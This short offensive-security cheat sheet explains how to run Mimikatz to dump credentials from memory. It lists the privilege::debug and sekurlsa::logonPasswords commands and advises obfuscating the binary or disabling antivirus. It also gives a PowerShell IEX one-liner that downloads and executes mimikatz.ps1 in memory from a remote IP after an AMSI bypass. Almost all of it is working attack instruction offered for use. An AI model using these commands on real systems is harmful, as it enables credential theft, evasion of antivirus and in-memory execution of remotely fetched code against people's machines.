# Mimikatz

## Overview

**Mimikatz** can be used to dump credentials in memory and make Kerberos tickets. Although it will get stopped by any and all Anti-Virus out there. Heavily obfuscating the executable or turning off AV is your best bet for using it

## Running Mimikatz

#### Inside of an Administrator shell

```powerquery
mimikatz.exe
privilege::debug                - enables all other attacks
sekurlsa::logonPasswords        - can show plaintext passwords saved in credman
```

{% hint style="info" %}
The **credman** passwords appear in clear text because when a network drive is mapped using the **Connect using different credentials** option, it is cached into **credman** as clear-text.
{% endhint %}

## Mimikatz.ps1

Run in memory after amsi bypass

```
IEX(New-Object Net.WebClient).downloadString('http://10.9.254.6/mimikatz.ps1')
```
